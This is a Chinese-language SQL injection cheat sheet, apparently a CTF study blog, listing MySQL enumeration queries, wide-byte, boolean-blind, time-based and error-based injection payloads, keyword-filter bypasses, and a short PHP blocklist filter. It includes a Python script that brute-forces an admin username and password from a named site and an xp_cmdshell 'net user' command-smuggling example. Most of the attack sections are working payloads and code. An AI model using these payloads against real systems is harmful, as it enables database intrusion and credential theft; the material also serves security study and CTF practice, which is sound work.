sql注入

基本操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
猜数据库 
select database()
select group_concat(schema_name) from information_schema.schemata
某库的表
select group_concat(table_name) from information_schema.tables where table_schema='xxxxx'
select group_concat(table_name) from mysql.innodb_table_stats where database_name=database()
select group_concat(distinct table_name) from mysql.innodb_index_stats where database_name=database();
select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database();
select group_concat(table_name) from sys.x$schema_table_statistics_with_buffer where table_schema=database();
//找到部分存在自增id的表
select group_concat(table_name) from sys.schema_auto_increment_columns where table_schema=database();
某表的列
select group_concat(column_name) from information_schema.columns where table_name='xxxxx'
获取某列的内容
select group_concat(column_name) from table_name

基本函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
user()    //当前使用者的用户名
database() //当前数据库名
version() //数据库版本
datadir //读取数据库的绝对路径
@@vasedir //mysql安装路径
@@version_compile_os //操作系统
length() //返回长度
ascii() //返回ascii值
count() //返回数量

//连接字符串,如果有任何一个参数为null,则返回值为null
concat(str1,str2,...)
//第一个参数指定分隔符,需要注意的是分隔符不能为null,如果为null,则返回结果为null
concat_ws(separator, str1, str2, ...)
group_concat()
//检查是否返回结果行
exist() --> id=1 and exists(select * from admin where length(userpass)>10)
//从start开始,截取len个字符串
substr(str,start,len)
//取user表下的name字段的第一个值
select name from user limit 0,1
//截取字符串的一部分,start从1开始
mid(str,start,len)
substring(str,start,len)
substr(str,start,len)
//截取多少条数据,start从0开始
limit start,len
//取user表下的name字段的第一个值的第一个字母
select mid((select name from usertest limit 0,1),1,1)
if(a,b,c) :a为条件,a为true,返回b,否则返回c,如if(1>2,1,0),返回0

宽字节注入

宽字节注入是因为数据库使用了GBK编码,两个字节代表一个汉字,因此可以使用%df%bf%aa、将\吃掉进行注入

1
2
id = 1' --> id = 1\' --> id = 1%5c%27
id = 1%df' --> id = 1%df%5c%27 --> id = 1運'

或者也可以将\'中的\过滤掉,比如

1
%**%5c%5c%27    //后面的 %5c 会被前面的 %5c 注释掉

例子

题目链接:http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1

测试一下

1

2

接下来就可以进行注入了,通过order by确认只有两列,接下来确认回显字段

1
?id=1%df' and 1=2 union select 1,2%23

3

爆数据库

1
?id=1%df' and 1=2 union select 1,database()%23

4

爆表,这里数据库的名字要编码一下

1
?id=1%df' and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x7361652d6368696e616c6f766572%23

5

爆列,同样表名也要编码

1
?id=1%df' and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x67626b73716c69%23

6

get flag

1
?id=1%df' and 1=2 union select 1,flag from gbksqli%23

7

防御

  • 使用mysql_set_charset(utf8)指定字符集

  • 使用mysql_real_escape_string进行转义,转义以下字符:

    \x00\n\r\'"\x1a

布尔盲注

例子

题目链接:http://cms.nuptzj.cn/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
import requests

url = "http://cms.nuptzj.cn/so.php"
headers = {
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": "Xlcteam Browser"
}

#length(database())=15
for i in range(0,30):
payload = "soid=1/**/anandd/**/length(database())>%s"%i
res = requests.post(url=url,data=payload,headers=headers)
if "emmm" in res.content:
print i

#database:sae-exploitblog
database = ""
for i in range(1,16):
for j in range(33,127):
payload = "soid=1/**/anandd(ascii(substr(database(),%s,1)))like/**/%s" % (str(i),str(j))
res = requests.post(url=url, data=payload, headers=headers)
if "emmm" in res.content:
database+=chr(j)
print chr(j)
break
print database

#get table num: 4 tables
for i in range(1,10):
payload = "soid=1/**/anandd(selselectect/**/cocountunt(*)/**/frfromom/**/infoorrmation_schema.tables/**/where/**/table_schema/**/like/**/database())/**/like/**/%s" % i
res = requests.post(url=url,data=payload,headers=headers)
if "emmm" in res.content:
print i

# table1:5 table2:8 table3:8 table4:7
for i in range(0,4):
for j in range(1,20):
payload = "soid=1/**/anandd(selselectect/**/length(table_nanameme)/**/frfromom/**/infoorrmation_schema.tables/**/where/**/table_schema/**/like/**/database()/**/limit/**/%s,1)/**/like/**/%s"%(i,j)
res = requests.post(url=url, data=payload, headers=headers)
if "emmm" in res.content:
print "table%s's length: %s" % (i + 1,j)
break

# table name: admin,filename,hackerip,message
table_name = ""
for i in range(1,8):
for j in range(33,127):
payload = "soid=1/**/anandd(ascii(substr((selselectect/**/table_nanameme/**/frfromom/**/infoorrmation_schema.tables/**/where/**/table_schema/**/like/**/database()/**/limit/**/3,1),%s,1)))/**/like/**/%s"%(i,j)
res = requests.post(url=url, data=payload, headers=headers)
if "emmm" in res.content:
table_name = table_name+chr(j)
print chr(j)
break
print "table name: %s" % table_name

# username:admin
username = ""
for i in range(1,6):
for j in range(33,127):
payload = "soid=1/**/anandd/**/ascii(mid((selselectect/**/usernanameme/**/frfromom/**/admadminin/**/limit/**/0,1),%s,1))/**/like/**/%s"%(i,j)
res = requests.post(url=url, data=payload, headers=headers)
if "emmm" in res.content:
username = username+chr(j)
print chr(j)
break
print "username: %s" % username

# password length:34
for i in range(50):
payload = "soid=1/**/anandd/**/exists(selselectect/**/*/**/frfromom/**/admadminin/**/where/**/length(userpapassss)>%s)" % i
res = requests.post(url=url,data=payload,headers=headers)
if "emmm" not in res.content:
print i
break

#10211799107114117110116117
# fuckruntu
password = ""
for i in range(1,35):
for j in range(33,127):
payload = "soid=1/**/anandd/**/ascii(mid((selselectect/**/userpapassss/**/frfromom/**/admadminin/**/limit/**/0,1),%s,1))/**/like/**/%s"%(i,j)
res = requests.post(url=url, data=payload, headers=headers)
if "emmm" in res.content:
password = password+chr(j)
print password
break
print "password: %s" % password

# print chr(102)+chr(117)+chr(99)+chr(107)+chr(114)+chr(117)+chr(110)+chr(116)+chr(117)

时间盲注

sleep()

1
2
3
4
5
6
7
mysql> select 1 and if(ascii(mid(database(),1,1))=116,sleep(3),1);
+-----------------------------------------------------+
| 1 and if(ascii(mid(database(),1,1))=116,sleep(3),1) |
+-----------------------------------------------------+
| 0 |
+-----------------------------------------------------+
1 row in set (3.01 sec)

benchmark()

1
2
3
4
5
6
7
mysql> select 1 and if(ascii(mid(database(),1,1))=116,benchmark(100000,sha(1)),1);
+---------------------------------------------------------------------+
| 1 and if(ascii(mid(database(),1,1))=116,benchmark(100000,sha(1)),1) |
+---------------------------------------------------------------------+
| 0 |
+---------------------------------------------------------------------+
1 row in set (0.02 sec)

笛卡尔积

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
mysql> select count(*) from information_schema.columns A, information_schema.columns B, information_schema.tables C;
+------------+
| count(*) |
+------------+
| 2665678400 |
+------------+
1 row in set (56.32 sec)

mysql> select * from usertest where name='admin' and 1=1 and (select count(*) from information_schema.columns A, information_schema.columns B, information_schema.tables C);
+----+-------+----------+
| id | name | password |
+----+-------+----------+
| 1 | admin | 123 |
+----+-------+----------+
1 row in set (55.75 sec)

get_lock()

get_lock()是Mysql的锁机制

  • get_lock会按照key来加锁,别的客户端再以同样的key加锁时就加不了了,处于等待状态。
  • 当调用release_lock来释放上面加的锁或客户端断线了,上面的锁才会释放,其它的客户端才能进来。

但是要使用此函数是有条件的,需要mysql提供长连接,即mysql_pconnect(),然而一般使用的都是mysql_connect()

1
2
mysql_connect() 脚本一结束,到服务器的连接就被关闭
mysql_pconnect() 打开一个到 MySQL 服务器的持久连接

从官方文档可以知道,如果我们已经开了一个session,对关键字进行了get_lock,那么再开另一个session再次对关键进行get_lock,就会延时我们指定的时间

Session 1

1
2
3
4
5
6
7
mysql> select get_lock('glarcy',1);
+----------------------+
| get_lock('glarcy',1) |
+----------------------+
| 1 |
+----------------------+
1 row in set (0.00 sec)

Session 2

1
2
3
4
5
6
7
mysql> select get_lock('glarcy',3);
+----------------------+
| get_lock('glarcy',3) |
+----------------------+
| 0 |
+----------------------+
1 row in set (3.00 sec)

Session 1

1
2
3
4
5
6
7
mysql> select * from usertest where name='admin' and get_lock('glarcy',1); 
+----+-------+----------+
| id | name | password |
+----+-------+----------+
| 1 | admin | 123 |
+----+-------+----------+
1 row in set (0.00 sec)

Session 2

1
2
3
4
5
mysql> select * from usertest where name='admin' and 1 and get_lock('glarcy',3); 
Empty set (3.01 sec)

mysql> select * from usertest where name='admin' and 0 and get_lock('glarcy',3);
Empty set (0.00 sec)

RLIKE注入

参考这位大佬的博客:https://www.cdxy.me/?p=789

利用SQL中多次因正则消耗计算资源,达到延时的目的,即构造一个超长的字符串,进行正则匹配

1
concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b'

测试了一下

1
2
3
4
5
mysql> select * from usertest where name='admin' and IF(1,concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b',0) and '1'='1';
Empty set (4.24 sec)

mysql> select * from usertest where name='admin' and IF(0,concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b',0) and '1'='1';
Empty set (0.00 sec)

报错注入

开启错误调试信息

floor()

floor()+count()+group by

1
2
3
?id=-1' union select 1,2,count(*) from information_schema.tables where table_schema=database() group by concat(0x7e,(select database()),0x7e,floor(rand(0)*2)) --+

select 1,2 union select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a;

整数溢出报错

pow() , cot() , exp()

1
2
3
4
5
6
7
8
mysql> select * from usertest where name = 'admin' and 1=1 and cot(0);
ERROR 1690 (22003): DOUBLE value is out of range in 'cot(0)'
mysql> select * from usertest where name = 'admin' and 1=1 and pow(999,999);
ERROR 1690 (22003): DOUBLE value is out of range in 'pow(999,999)'
mysql> select * from usertest where name = 'admin' and 1=1 and exp(710);
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'
mysql> select * from usertest where name = 'admin' and 1=0 and exp(710);
Empty set (0.00 sec)

几何函数报错

geometrycollection()
1
id=1 and geometrycollection((select * from(select * from(select user())a)b))
multipoint()
1
id=1 and multipoint((select * from(select * from(select user())a)b))
polygon()
1
id=1 and polygon((select * from(select * from(select user())a)b))
multipolygon()
1
id=1 and multipolygon((select * from(select * from(select user())a)b))
linestring()
1
id=1 and linestring((select * from(select * from(select user())a)b))
multilinestring()
1
id=1 and multilinestring((select * from(select * from(select user())a)b))

xpath语法报错

两个函数的返回长度有限,均为32个字符长度

updatexml()

UPDATEXML (XML_document, XPath_string, new_value)

1
2
3
4
5
6
7
8
9
updatexml(1,concat(0x7e,(select @@version),0x7e),1)

载荷格式 : or updatexml(1,concat(0x7e,(version())),0) or

insert注入:INSERT INTO users (id, username, password) VALUES (2,'Pseudo_Z' or updatexml(1,concat(0x7e,(version())),0) or'', 'security-eng');

update注入:UPDATE users SET password='security-eng' or updatexml(2,concat(0x7e,(version())),0) or'' WHERE id=2 and username='Pseudo_Z';

delete注入:DELETE FROM users WHERE id=2 or updatexml(1,concat(0x7e,(version())),0) or'';
extractvalue()

EXTRACTVALUE(XML_document, XPath_string)

1
extractvalue(1, concat(0x7e, (select concat(table_name) from information_schema.tables where table_schema=database() limit 0,1)))

而xpath语法报错与整数溢出报错的区别在,xpath语法报错就会直接报错,如果是整数溢出报错,则会遵循and短路运算规则,所以可以利用大数溢出这个问题结合前面的1=0的判断条件进行布尔盲注

1
2
3
4
5
6
7
8
mysql> select * from ctf_test where user='1' and 1=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1);
ERROR 1105 (HY000): XPATH syntax error: '~test~'
mysql> select * from ctf_test where user='1' and 1=0 and updatexml(1,concat(0x7e,(select database()),0x7e),1);
ERROR 1105 (HY000): XPATH syntax error: '~test~'
mysql> select * from ctf_test where user='1' and 1=1 and pow(999,999);
ERROR 1690 (22003): DOUBLE value is out of range in 'pow(999,999)'
mysql> select * from ctf_test where user='1' and 1=0 and pow(999,999);
Empty set (0.00 sec)

mysql列名重复报错

在mysql中,mysql列名重复会导致报错,而我们可以通过name_const制造一个列

1
2
mysql> select * from (select name_const(version(),1),name_const(version(),1))a;
ERROR 1060 (42S21): Duplicate column name '5.7.26'

不过这个有很大的限制,version()所多应的值必须是常量,而我们所需要的database()user()都是变量,无法通过报错得出,但是我们可以利用这个原理配合join函数得到列名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
mysql> select * from usertest a join usertest b;
+----+--------+----------+----+--------+----------+
| id | name | password | id | name | password |
+----+--------+----------+----+--------+----------+
| 1 | admin | 123 | 1 | admin | 123 |
| 2 | glarcy | 456 | 1 | admin | 123 |
| 3 | test | djh | 1 | admin | 123 |
| 1 | admin | 123 | 2 | glarcy | 456 |
| 2 | glarcy | 456 | 2 | glarcy | 456 |
| 3 | test | djh | 2 | glarcy | 456 |
| 1 | admin | 123 | 3 | test | djh |
| 2 | glarcy | 456 | 3 | test | djh |
| 3 | test | djh | 3 | test | djh |
+----+--------+----------+----+--------+----------+
9 rows in set (0.00 sec)

mysql> select * from (select * from usertest a join usertest b)c;
ERROR 1060 (42S21): Duplicate column name 'id'
mysql> select * from (select * from usertest a join usertest b using(id))c;
ERROR 1060 (42S21): Duplicate column name 'name'
mysql> select * from (select * from usertest a join usertest b using(id,name))c;
ERROR 1060 (42S21): Duplicate column name 'password'
mysql> select * from (select * from usertest a join usertest b using(id,name,password))c;
+----+--------+----------+
| id | name | password |
+----+--------+----------+
| 1 | admin | 123 |
| 2 | glarcy | 456 |
| 3 | test | djh |
+----+--------+----------+
3 rows in set (0.00 sec)

二次注入

异常的数据正常存入数据库,当再次使用时,造成异常

无列名注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
mysql> select * from usertest;
+----+--------+----------+
| id | name | password |
+----+--------+----------+
| 1 | admin | 123 |
| 2 | glarcy | 456 |
+----+--------+----------+

mysql> select 1,2,3 union select * from usertest;
+---+--------+-----+
| 1 | 2 | 3 |
+---+--------+-----+
| 1 | 2 | 3 |
| 1 | admin | 123 |
| 2 | glarcy | 456 |
+---+--------+-----+

mysql> select `2` from (select 1,2,3 union select * from usertest)a;
+--------+
| 2 |
+--------+
| 2 |
| admin |
| glarcy |
+--------+

mysql> select `2` from (select 1,2,3 union select * from usertest limit 1,1)a;
+-------+
| 2 |
+-------+
| admin |
+-------+

绕过

空格绕过

使用 %a0()%20%09%0a%0b%0c%0d%a0%00/**//*!*/

1
select/**/schema_name/**/from/**/information_schema.schemata

在MySQL中,括号是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来。而括号的两端,可以没有多余的空格

1
select(user())from dual where(1=1)and(2=2)

这种绕过通常用于时间盲注,既没有逗号也没有空格。猜解database()第一个字符ascii码是否为109,若是则加载延时

1
?id=1%27and(sleep(ascii(mid(database()from(1)for(1)))=109))%23

引号绕过

使用16进制,比如说

1
2
select column_name  from information_schema.tables where table_name="users"
select column_name from information_schema.tables where table_name=0x7573657273

逗号绕过

使用from或者offset,在使用盲注的时候,需要使用到substr()mid()limit。这些子句方法都需要使用到逗号,对于substr()和mid()这两个方法可以使用from to的方式来解决:

1
2
select substr(database(),1,1)  相当于  select substr(database() from 1 for 1);
select mid(database(),1,1) 相当于 select mid(database() from 1 for 1);

使用join:

1
union select 1,2  等价于  union select * from (select 1)a join (select 2)b

使用like:

1
2
select ascii(mid(user(),1,1))=80  等价于  select user() like 'r%'
r%表示以r开头

对于limit可以使用offset来绕过:

1
select * from news limit 0,1  等价于  select * from news limit 1 offset 0

大小比较符号绕过

<>可以使用greatest()、least()代替,或者使用between and

1
2
3
select * from users where id=1 and ascii(substr(database(),0,1))>64
select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64
between a and b:返回a,b之间的数据,不包含b

or、and、xor、not绕过

1
and=&&  or=||   xor=|   not=!

绕过注释符号

比如#//-—/**/—-+-- ---a,通过闭合后面的单引号

1
2
id=1' union select 1,2,3||'1
id=1' union select 1,2,'3

等号绕过

使用likerlikeregexp 或者使用< 或者>

绕过union、select、where等

使用注释符号
1
2
3
4
常用注释符
//,-- , /**/, #, --+, -- -, ;,%00,--a
用法
U/**/ NION /**/ SE/**/ LECT /**/user,pwd from user
大小写绕过
1
id=-1'UnIoN/**/SeLeCT
内联注释/!**/
1
id=-1'/*!UnIoN*/ SeLeCT 1,2,concat(/*!table_name*/) FrOM /*information_schema*/.tables /*!WHERE *//*!TaBlE_ScHeMa*/ like database()#
双写关键字
1
id=-1'UNIunionONSeLselectECT1,2,3–-

编码绕过

如urlncode编码,ascii,hex,unicode编码绕过

1
2
or 1=1  -->  %6f%72%20%31%3d%31
Test --> CHAR(84)+CHAR(101)+CHAR(115)+CHAR(116)

使用特殊符号

1
2
3
4
5
6
7
8
9
10
11
12
反引号`,可以用来过空格和正则,特殊情况下还可以将其做注释符用
select `version()`;

+-,“+”是用于字符串连接的,”-”和”.”在此也用于连接,可以逃过空格和关键字过滤
select+id-1+1.from users;

@,用于变量定义如@var_name,一个@表示用户定义,@@表示系统变量
select@^1.from users;

Mysql function() as xxx,也可不用as和空格
select-count(id)test from users; //绕过空格限制
`、~、!、@、%、()、[]、.、-、+ 、|、%00

比如

1
2
3
4
5
6
7
8
9
‘se’+’lec’+’t’

%S%E%L%E%C%T 1

?id=1;EXEC(‘ma’+'ster..x’+'p_cm’+'dsh’+'ell ”net user”’)

' or --+2=- -!!!'2

id=1+(UnI)(oN)+(SeL)(EcT)

等价函数绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
hex()、bin() ==> ascii()

sleep() ==>benchmark()

concat_ws()==>group_concat()

mid()、substr() ==> substring()

@@user ==> user()

@@datadir ==> datadir()

举例:substring()和substr()无法使用时:?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74 

或者:
substr((select 'password'),1,1) = 0x70
strcmp(left('password',1), 0x69) = 1
strcmp(left('password',1), 0x70) = 0
strcmp(left('password',1), 0x71) = -1

防御

1
2
3
4
5
6
7
8
<?php
function filter($str) {
$filter = "/ |\*|#|;|,|is|union|like|regexp|for|and|or|file|--|\||`|&|" . urldecode('%09') . "|" . urldecode("%0a") . "|" . urldecode("%0b") . "|" . urldecode('%0c') . "|" . urldecode('%0d') . "|" . urldecode('%a0') . "/i";
if (preg_match($filter, $str)) {
die("you can't input this illegal char!");
}
return $str;
}

参考链接:

https://xz.aliyun.com/t/5505

https://blog.nowcoder.net/n/be73b8f592504ae8b1d00368433061be